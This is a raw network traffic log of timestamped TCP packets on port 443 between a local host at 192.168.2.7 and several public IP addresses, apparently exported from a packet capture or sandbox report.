Dec 2, 2024 01:34:42.619795084 CET	443	49852	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.624378920 CET	49854	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.624401093 CET	443	49854	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.624784946 CET	49854	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.624793053 CET	443	49854	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.625480890 CET	49853	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.625515938 CET	443	49853	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.625968933 CET	49853	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.625976086 CET	443	49853	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.712307930 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.712390900 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.712389946 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.712431908 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.714690924 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.714721918 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.772516012 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.772526026 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.772556067 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.772586107 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:42.772617102 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.772648096 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:42.772670984 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:42.797420025 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.797473907 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.799618959 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.799628973 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.801631927 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.801637888 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.801707029 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.801719904 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.801762104 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.801767111 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.801841974 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.801856041 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.801898003 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.801907063 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.801928043 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.801934958 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802017927 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802057981 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802114010 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802126884 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802288055 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802385092 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802401066 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802419901 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802429914 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802498102 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802511930 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802520990 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802530050 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802542925 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802551031 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802601099 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802613974 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802650928 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802663088 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802716970 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802735090 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802741051 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802743912 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802759886 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802771091 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802824020 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802835941 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802877903 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802890062 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802941084 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.802953005 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.802994013 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.803011894 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.803112030 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.803123951 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.803129911 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.803133965 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.803159952 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.803168058 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.803211927 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.803222895 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.803263903 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.803273916 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.803324938 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.803350925 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:42.818423986 CET	443	49856	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.825304031 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.825335026 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.825380087 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:42.825416088 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.825432062 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:42.825469017 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:42.836524963 CET	49856	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.836560965 CET	443	49856	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.837301016 CET	49856	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.837307930 CET	443	49856	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.851335049 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:42.854649067 CET	443	49855	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.855308056 CET	49855	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.855338097 CET	443	49855	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.856021881 CET	49855	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.856028080 CET	443	49855	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.940342903 CET	443	49854	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.940637112 CET	443	49854	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.940690994 CET	49854	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.943754911 CET	49854	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.943754911 CET	49854	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.943783998 CET	443	49854	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.943795919 CET	443	49854	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.946676016 CET	443	49852	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.946744919 CET	443	49852	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.946867943 CET	49852	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.950809002 CET	443	49853	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.950859070 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.950880051 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.950880051 CET	443	49853	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.950923920 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:42.950956106 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.950974941 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:42.950978041 CET	49853	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.951034069 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:42.955435991 CET	49852	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.955461979 CET	443	49852	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.955482960 CET	49852	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.955488920 CET	443	49852	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.957743883 CET	49853	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.957783937 CET	443	49853	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.957798004 CET	49853	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.957807064 CET	443	49853	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.961606026 CET	49864	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.961643934 CET	443	49864	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.961764097 CET	49864	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.965495110 CET	49865	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.965528965 CET	443	49865	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.965596914 CET	49865	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.966691017 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:42.966870070 CET	49864	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.966881037 CET	443	49864	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.968542099 CET	49865	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.968553066 CET	443	49865	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.969459057 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:42.969487906 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:42.969929934 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:42.971807003 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:42.971899033 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:42.971906900 CET	49866	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.971926928 CET	443	49866	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.972008944 CET	49866	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.972019911 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:42.972058058 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:42.972067118 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:42.972182989 CET	49866	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.972192049 CET	443	49866	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.988725901 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.988748074 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.988833904 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:42.988864899 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.988903046 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.007572889 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.007592916 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.007636070 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.007666111 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.007682085 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.007699966 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.026526928 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.026586056 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.026588917 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.026612043 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.026659012 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.026669025 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.153760910 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.153781891 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.153825045 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.153847933 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.153872967 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.153892994 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.170201063 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.170224905 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.170258999 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.170270920 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.170320034 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.184462070 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.184482098 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.184516907 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.184530973 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.184566021 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.184583902 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.200963020 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.200982094 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.201020956 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.201030970 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.201061010 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.201078892 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.254694939 CET	443	49856	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:43.254776001 CET	443	49856	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:43.254851103 CET	49856	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:43.255064011 CET	49856	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:43.255083084 CET	443	49856	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:43.255093098 CET	49856	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:43.255099058 CET	443	49856	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:43.257941008 CET	49867	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:43.257989883 CET	443	49867	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:43.258053064 CET	49867	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:43.258229971 CET	49867	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:43.258240938 CET	443	49867	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:43.275501966 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.275523901 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.275589943 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.275615931 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.275628090 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.275650978 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.292058945 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.292069912 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.292140961 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.292169094 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.292212009 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.306328058 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.306346893 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.306392908 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.306401968 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.306463003 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.308631897 CET	443	49855	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:43.308715105 CET	443	49855	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:43.308758020 CET	49855	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:43.308948994 CET	49855	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:43.308970928 CET	443	49855	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:43.309011936 CET	49855	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:43.309019089 CET	443	49855	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:43.311974049 CET	49868	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:43.312012911 CET	443	49868	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:43.312087059 CET	49868	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:43.312261105 CET	49868	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:43.312273026 CET	443	49868	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:43.322563887 CET	443	49858	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:43.322987080 CET	49858	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:43.323009968 CET	443	49858	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:43.323715925 CET	49858	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:43.323715925 CET	49858	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:43.323724985 CET	443	49858	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:43.323738098 CET	443	49858	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:43.356086969 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.356147051 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.356164932 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.356193066 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.356226921 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.356251955 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.369841099 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.369864941 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.369904041 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.369913101 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.369973898 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.385665894 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.385688066 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.385730982 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.385746002 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.385778904 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.385795116 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.397037983 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.397059917 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.397100925 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.397109032 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.397149086 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.397170067 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.404084921 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.404143095 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.404148102 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.404154062 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.404187918 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.404241085 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.404284954 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.404622078 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.404637098 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.489625931 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.489651918 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.489667892 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.489701033 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.489731073 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.489772081 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.489790916 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.498151064 CET	443	49860	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:43.499581099 CET	49860	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.499594927 CET	443	49860	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:43.500621080 CET	443	49860	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:43.500679970 CET	49860	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.504956007 CET	49871	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.504990101 CET	443	49871	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.505048990 CET	49871	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.507627964 CET	49871	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.507644892 CET	443	49871	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.519907951 CET	49860	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.520061016 CET	443	49860	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:43.520747900 CET	49860	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.520761967 CET	443	49860	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:43.520812035 CET	49860	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.520838976 CET	443	49860	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:43.564321041 CET	49860	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.574660063 CET	443	49861	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:43.574837923 CET	49861	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.574858904 CET	443	49861	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:43.576170921 CET	443	49861	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:43.576222897 CET	49861	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.576952934 CET	49861	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.576952934 CET	49861	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.576967001 CET	443	49861	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:43.577008009 CET	49861	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.577032089 CET	443	49861	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:43.624660015 CET	49861	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.624669075 CET	443	49861	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:43.660689116 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:43.660733938 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:43.660792112 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:43.661060095 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:43.661078930 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:43.672019005 CET	49861	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.687464952 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.687491894 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.687535048 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.687558889 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.687583923 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.687616110 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.730931044 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.730958939 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.730998993 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.731014013 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.731061935 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.816930056 CET	49873	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.816981077 CET	443	49873	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.817200899 CET	49873	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.817554951 CET	49874	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.817622900 CET	443	49874	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.817713976 CET	49874	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.818212032 CET	49875	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.818219900 CET	443	49875	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.818268061 CET	49875	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.818634987 CET	49876	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.818667889 CET	443	49876	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.818891048 CET	49876	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.819025993 CET	49877	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.819055080 CET	443	49877	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.819186926 CET	49877	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.819263935 CET	49873	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.819274902 CET	443	49873	13.107.246.40	192.168.2.7
